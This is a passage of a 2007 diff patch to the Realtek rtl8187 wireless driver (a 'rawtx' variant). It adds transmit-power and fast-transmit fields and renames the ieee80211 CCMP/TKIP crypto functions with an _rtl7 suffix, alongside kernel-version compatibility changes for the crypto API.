enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, 